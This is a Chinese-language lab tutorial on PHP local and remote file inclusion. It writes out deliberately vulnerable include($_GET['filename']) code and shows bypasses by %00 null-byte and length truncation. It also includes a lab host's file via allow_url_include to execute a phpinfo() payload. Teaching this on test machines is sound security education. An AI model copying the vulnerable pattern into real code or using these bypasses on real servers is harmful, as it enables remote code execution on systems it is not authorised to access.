文件本地与远程包含:
文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题;
远程包含可以包含一切网络上的文件。
本地包含:
①无限制
感受一下使用phpstudy的文件上传,开启phpstudy的apache服务,在网站根目录新建两个文件
//1.txt
<?php
phpinfo();
?>
//upload.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
直接访问localhost/upload.php?filename=1.txt(upload.php文件内容意为使用GET方式将文件名参数传入,执行包含指令),访问如图(即使是txt文件,但是include会将其按php文件进行解析)
②有限制
如果服务器对上传的文件有限制,我们需要做绕过处理将文件包含进去。
在网站根目录下新建两个文件
//1.txt
<?php
phpinfo();
?>
//upload2.php
<?php
$filename=$_GET['filename'];
include($filename.'.html')
?>
如果直接访问localhost/upload2.php?filename=1.txt会报错,因为有限制,我们可以使用%00截断进行绕过。(%00具体解释参考往篇)访问localhost/upload2.php?filename=1.txt%00
长度截断:Windows和Linux对命名长度有限制,前者256个字符(磁盘分区还占一个,用户只能使用255个),后者4096
远程包含:
phpstudy其他选项菜单-php扩展与设置-参数开关设置中打开allow_url_include(一般情况下为了安全性,这个是关的状态)
在远程服务器上上传文件(或者可以用虚拟机靶机做实验,在靶机的phpstudy上的根目录里写文件)如下:
//1.txt
<?php
phpinfo();
?>
靶机查询IP地址,假如是192.168.123.23
就可以在主机上直接访问http://192.168.123.23:88/1.txt
可以看到上传文件内容。
我们再使用文件包含,即访问http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可执行文件内容。